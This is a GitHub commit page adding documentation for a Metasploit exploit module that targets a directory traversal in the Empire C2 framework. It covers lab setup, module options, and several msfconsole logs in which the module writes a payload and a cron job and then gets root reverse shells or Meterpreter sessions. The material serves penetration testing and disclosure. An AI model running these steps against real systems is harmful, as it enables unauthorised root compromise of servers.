Skip to content

Commit 24c8a2b

Browse files
cdelafuente-r7cdelafuente-r7
committed
Land rapid7#19331, Update empire_skywalker module
2 parents e600f19 + 4f061c8 commit 24c8a2b

File tree

2 files changed

+618
-90
lines changed

2 files changed

+618
-90
lines changed

‎documentation/modules/exploit/linux/http/empire_skywalker.md

Lines changed: 327 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,327 @@
1+
## Vulnerable Application
2+
This module exploits a directory traversal vulnerability in both
3+
BC-SECURITY/Empire C2 Framework (<5.9.3) and ProjectEmpire/Empire (<f030cf62) and
4+
writes the payload to /tmp/ directory followed by a cron.d file to execute the payload.
5+
6+
The vulnerability affects:
7+
8+
* BC-SECURITY/Empire C2 Framework (<5.9.3)
9+
* ProjectEmpire/Empire (<f030cf62)
10+
11+
This module was successfully tested on:
12+
13+
* BC-SECURITY/Empire C2 Framework (v5.9.2) on Kali Linux 6.6.15
14+
* BC-SECURITY/Empire C2 Framework (v5.9.2) installed with Docker on Kali Linux 6.6.15
15+
* ProjectEmpire/Empire (03ca7bdbcc81457da8e8c1419b36adf66fe9b110) installed with Docker on Kali Linux 6.6.15
16+
17+
18+
### Install and run the vulnerable Empire
19+
#### BC-SECURITY/Empire
20+
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
21+
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
22+
3. Pull pre-built Empire docker container (<5.9.3) in your VM.
23+
`docker pull bcsecurity/empire:v5.9.2`
24+
4. Run the server and the client on the same VM.
25+
5. Run the server.
26+
27+
`docker run -it --net="host" -v /tmp:/tmp -v /etc/cron.d:/etc/cron.d bcsecurity/empire:v5.9.2`
28+
(`--net="host" -v /tmp:/tmp -v /etc/cron.d:/etc/cron.d` is not realistic but for simplicity
29+
and payload will be loaded in host not in container) or
30+
```
31+
docker run -it --net="host" bcsecurity/empire:v5.9.2
32+
docker exec -it <server container id> bash
33+
apt update
34+
apt install cron
35+
cron
36+
```
37+
\(Payload will be loaded in container but you have to manually set up cron on container.)
38+
39+
6. Run the client.
40+
`docker run -it --net="host" bcsecurity/empire:v5.9.2 client`
41+
7. Execute Empire listener on client.
42+
```bash
43+
uselistener http
44+
set Host <rhost>
45+
set Port <port>
46+
execute
47+
```
48+
49+
#### ProjectEmpire/Empire
50+
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
51+
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
52+
3. Clone empire.
53+
`git clone https://github.com/EmpireProject/Empire.git`
54+
4. `cd Empire`
55+
5. `git checkout 03ca7bdbcc81457da8e8c1419b36adf66fe9b110`
56+
6. `docker pull empireproject/empire`
57+
7. `docker run -it --net="host" -v $(pwd):/opt/Empire -v /tmp:/tmp -v /etc/cron.d:/etc/cron.d empireproject/empire /bin/bash`
58+
59+
(Payload will be loaded in host not in container.) or
60+
```
61+
docker run -it --net="host" empireproject/empire /bin/bash
62+
cron
63+
```
64+
(Payload will be loaded in container but you have to manually set up cron on container.)
65+
66+
8. `cd setup`
67+
9. `./reset.sh` (Empire start)
68+
10. Execute listener.
69+
```bash
70+
listeners
71+
set Host <rhost>
72+
set Port <port>
73+
run
74+
```
75+
76+
77+
## Verification Steps
78+
79+
1. Install the application
80+
2. Start msfconsole
81+
3. Do: `use exploit/linux/http/empire_skywalker`
82+
4. Do: `set rhost <rhost>`
83+
5. Do: `set rport <port>`
84+
6. Do: `set lhost <attacker-ip>`
85+
7. Optional: `set CVE <cve>`
86+
8. Do: `run`
87+
9. Have the generated request processed by a vulnerable version of Empire
88+
10. You should get a shell or meterpreter
89+
90+
91+
## Options
92+
93+
### TARGETURI (optional)
94+
95+
This is the Base URI path. This is used when CVE is set to `Original`. Default is `/`.
96+
97+
### STAGE0_URI (required)
98+
99+
This is the URI path requested by the initial launcher. This is used when CVE is set to `Original`. Default is `index.asp`.
100+
101+
### STAGE1_URI (required)
102+
103+
This is the URI path used by the RSA key post. This is used when CVE is set to `Original`. Default is `index.jsp`
104+
105+
### PROFILE (optional)
106+
107+
This is Empire agent traffic profile URI. This is used when CVE is set to `Original`.
108+
109+
### CVE (required)
110+
111+
This is the vulnerability to use. Default is `CVE-2024-6127`, but `Original` can also be chosen.
112+
113+
### STAGE_PATH (required)
114+
115+
This is the Empire's default staging path. This is used when CVE is set to `CVE-2024-6127`. Default is `login/process.php`.
116+
([reference](https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/agents.py#L169))
117+
118+
### PROFILE (required)
119+
120+
This is the Empire's default communication profile agent. This is used when CVE is set to `CVE-2024-6127`.
121+
Default is `Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko`
122+
([reference](https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/agents.py#L169))
123+
124+
125+
## Scenarios
126+
### BC-SECURITY/Empire C2 Framework (v5.9.2) installed with Docker on Kali Linux 6.6.15 (target 0, port 80)
127+
```
128+
msf6 > use exploit/linux/http/empire_skywalker
129+
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
130+
msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.7
131+
rhost => 192.168.56.7
132+
msf6 exploit(linux/http/empire_skywalker) > set rport 80
133+
rport => 80
134+
msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1
135+
lhost => 192.168.56.1
136+
msf6 exploit(linux/http/empire_skywalker) > check
137+
[*] 192.168.56.7:80 - The target appears to be vulnerable.
138+
msf6 exploit(linux/http/empire_skywalker) > run
139+
140+
[*] Started reverse TCP handler on 192.168.56.1:4444
141+
[+] Successfully negotiated an artificial Empire agent
142+
[*] Writing payload to /tmp/NYLkIKRK
143+
[*] Writing cron job to /etc/cron.d/AeVTTPiZ
144+
[*] Waiting for cron job to run, can take up to 60 seconds
145+
[*] Sending stage (24772 bytes) to 192.168.56.7
146+
[+] Deleted /etc/cron.d/AeVTTPiZ
147+
[+] Deleted /tmp/NYLkIKRK
148+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.7:48026) at 2024-07-20 11:32:03 +0900
149+
[!] This exploit may require manual cleanup of '/var/lib/powershell-empire/empire/server/downloads/LML47FWS/agent.log' on the target
150+
151+
meterpreter > sysinfo
152+
Computer : kali
153+
OS : Linux 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17)
154+
Architecture : x64
155+
System Language : en_US
156+
Meterpreter : python/linux
157+
```
158+
159+
### BC-SECURITY/Empire C2 Framework (v5.9.2) installed with Docker on Kali Linux 6.6.15 (target 1, port 8080)
160+
```
161+
msf6 > use exploit/linux/http/empire_skywalker
162+
[*] Using configured payload linux/x86/shell/reverse_tcp
163+
msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6
164+
rhost => 192.168.56.6
165+
msf6 exploit(linux/http/empire_skywalker) > set rport 8080
166+
rport => 8080
167+
msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1
168+
lhost => 192.168.56.1
169+
msf6 exploit(linux/http/empire_skywalker) > set target 1
170+
target => 1
171+
msf6 exploit(linux/http/empire_skywalker) > set payload linux/x86/shell/reverse_tcp
172+
payload => linux/x86/shell/reverse_tcp
173+
msf6 exploit(linux/http/empire_skywalker) > check
174+
[*] 192.168.56.6:8080 - The target appears to be vulnerable.
175+
msf6 exploit(linux/http/empire_skywalker) > run
176+
177+
[*] Started reverse TCP handler on 192.168.56.1:4444
178+
[+] Successfully negotiated an artificial Empire agent
179+
[*] Writing payload to /tmp/jJzYkeKV
180+
[*] Writing cron job to /etc/cron.d/nFnFIbim
181+
[*] Waiting for cron job to run, can take up to 60 seconds
182+
[*] Sending stage (36 bytes) to 192.168.56.6
183+
[+] Deleted /etc/cron.d/nFnFIbim
184+
[+] Deleted /tmp/jJzYkeKV
185+
[!] Tried to delete /var/lib/powershell-empire/empire/server/downloads/WV9TEJTE/agent.log, unknown result
186+
[*] Command shell session 3 opened (192.168.56.1:4444 -> 192.168.56.6:42068) at 2024-07-20 14:40:09 +0900
187+
188+
whoami
189+
root
190+
```
191+
192+
### BC-SECURITY/Empire C2 Framework (v5.9.2) installed with Docker on Kali Linux 6.6.15 (target 2, port 8080)
193+
```
194+
msf6 > use exploit/linux/http/empire_skywalker
195+
[*] Using configured payload linux/x86/shell/reverse_tcp
196+
msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6
197+
rhost => 192.168.56.6
198+
msf6 exploit(linux/http/empire_skywalker) > set rport 8080
199+
rport => 8080
200+
msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1
201+
lhost => 192.168.56.1
202+
msf6 exploit(linux/http/empire_skywalker) > set target 2
203+
target => 2
204+
msf6 exploit(linux/http/empire_skywalker) > set payload linux/x64/shell/reverse_tcp
205+
payload => linux/x64/shell/reverse_tcp
206+
msf6 exploit(linux/http/empire_skywalker) > check
207+
[*] 192.168.56.6:8080 - The target appears to be vulnerable.
208+
msf6 exploit(linux/http/empire_skywalker) > run
209+
210+
[*] Started reverse TCP handler on 192.168.56.1:4444
211+
[+] Successfully negotiated an artificial Empire agent
212+
[*] Writing payload to /tmp/qxlOSIYF
213+
[*] Writing cron job to /etc/cron.d/ugrYIJzf
214+
[*] Waiting for cron job to run, can take up to 60 seconds
215+
[*] Sending stage (38 bytes) to 192.168.56.6
216+
[+] Deleted /etc/cron.d/ugrYIJzf
217+
[+] Deleted /tmp/qxlOSIYF
218+
[!] Tried to delete /var/lib/powershell-empire/empire/server/downloads/JJR8EMKK/agent.log, unknown result
219+
[*] Command shell session 4 opened (192.168.56.1:4444 -> 192.168.56.6:46040) at 2024-07-20 14:44:09 +0900
220+
221+
whoami
222+
root
223+
```
224+
225+
### ProjectEmpire/Empire (03ca7bdbcc81457da8e8c1419b36adf66fe9b110) installed with Docker on Kali Linux 6.6.15 (target 0, port 8080)
226+
```
227+
msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6
228+
rhost => 192.168.56.6
229+
msf6 exploit(linux/http/empire_skywalker) > set rport 8080
230+
rport => 8080
231+
msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1
232+
lhost => 192.168.56.1
233+
msf6 exploit(linux/http/empire_skywalker) > set CVE Original
234+
CVE => Original
235+
msf6 exploit(linux/http/empire_skywalker) > check
236+
[*] 192.168.56.6:8080 - The target appears to be vulnerable.
237+
msf6 exploit(linux/http/empire_skywalker) > run
238+
239+
[*] Started reverse TCP handler on 192.168.56.1:4444
240+
[+] Successfully negotiated an artificial Empire agent
241+
[*] Writing payload to /tmp/PSDaqPOJ
242+
[*] Writing cron job to /etc/cron.d/KQlwBZQk
243+
[*] Waiting for cron job to run, can take up to 60 seconds
244+
[*] Sending stage (24772 bytes) to 192.168.56.6
245+
[+] Deleted /etc/cron.d/KQlwBZQk
246+
[+] Deleted /tmp/PSDaqPOJ
247+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.6:38552) at 2024-07-24 18:01:04 +0900
248+
[!] This exploit may require manual cleanup of '/agent.log' on the target
249+
250+
meterpreter > sysinfo
251+
Computer : kali
252+
OS : Linux 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17)
253+
Architecture : x64
254+
System Language : en_US
255+
Meterpreter : python/linux
256+
meterpreter >
257+
```
258+
259+
### ProjectEmpire/Empire (03ca7bdbcc81457da8e8c1419b36adf66fe9b110) installed with Docker on Kali Linux 6.6.15 (target 1, port 8080)
260+
```
261+
msf6 > use exploit/linux/http/empire_skywalker
262+
[*] Using configured payload linux/x86/shell/reverse_tcp
263+
msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6
264+
rhost => 192.168.56.6
265+
msf6 exploit(linux/http/empire_skywalker) > set rport 8080
266+
rport => 8080
267+
msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1
268+
lhost => 192.168.56.1
269+
msf6 exploit(linux/http/empire_skywalker) > set CVE Original
270+
CVE => Original
271+
msf6 exploit(linux/http/empire_skywalker) > set target 1
272+
target => 1
273+
msf6 exploit(linux/http/empire_skywalker) > set payload linux/x86/shell/reverse_tcp
274+
payload => linux/x86/shell/reverse_tcp
275+
msf6 exploit(linux/http/empire_skywalker) > check
276+
[*] 192.168.56.6:8080 - The target appears to be vulnerable.
277+
msf6 exploit(linux/http/empire_skywalker) > run
278+
279+
[*] Started reverse TCP handler on 192.168.56.1:4444
280+
[+] Successfully negotiated an artificial Empire agent
281+
[*] Writing payload to /tmp/VzTAquhE
282+
[*] Writing cron job to /etc/cron.d/LjvThMOu
283+
[*] Waiting for cron job to run, can take up to 60 seconds
284+
[*] Sending stage (36 bytes) to 192.168.56.6
285+
[+] Deleted /etc/cron.d/LjvThMOu
286+
[+] Deleted /tmp/VzTAquhE
287+
[!] Tried to delete /agent.log, unknown result
288+
[*] Command shell session 2 opened (192.168.56.1:4444 -> 192.168.56.6:47140) at 2024-07-24 18:06:08 +0900
289+
290+
whoami
291+
root
292+
```
293+
294+
### ProjectEmpire/Empire (03ca7bdbcc81457da8e8c1419b36adf66fe9b110) installed with Docker on Kali Linux 6.6.15 (target 2, port 8080)
295+
```
296+
msf6 > use exploit/linux/http/empire_skywalker
297+
[*] Using configured payload linux/x86/shell/reverse_tcp
298+
msf6 exploit(linux/http/empire_skywalker) > set rhost 192.168.56.6
299+
rhost => 192.168.56.6
300+
msf6 exploit(linux/http/empire_skywalker) > set rport 8080
301+
rport => 8080
302+
msf6 exploit(linux/http/empire_skywalker) > set lhost 192.168.56.1
303+
lhost => 192.168.56.1
304+
msf6 exploit(linux/http/empire_skywalker) > set cve Original
305+
cve => Original
306+
msf6 exploit(linux/http/empire_skywalker) > set target 2
307+
target => 2
308+
msf6 exploit(linux/http/empire_skywalker) > set payload linux/x64/shell/reverse_tcp
309+
payload => linux/x64/shell/reverse_tcp
310+
msf6 exploit(linux/http/empire_skywalker) > check
311+
[*] 192.168.56.6:8080 - The target appears to be vulnerable.
312+
msf6 exploit(linux/http/empire_skywalker) > run
313+
314+
[*] Started reverse TCP handler on 192.168.56.1:4444
315+
[+] Successfully negotiated an artificial Empire agent
316+
[*] Writing payload to /tmp/uuTqlfDp
317+
[*] Writing cron job to /etc/cron.d/frDtYnmD
318+
[*] Waiting for cron job to run, can take up to 60 seconds
319+
[*] Sending stage (38 bytes) to 192.168.56.6
320+
[+] Deleted /etc/cron.d/frDtYnmD
321+
[+] Deleted /tmp/uuTqlfDp
322+
[!] Tried to delete /agent.log, unknown result
323+
[*] Command shell session 3 opened (192.168.56.1:4444 -> 192.168.56.6:51566) at 2024-07-24 18:08:08 +0900
324+
325+
whoami
326+
root
327+
```

0 commit comments

Comments
 (0)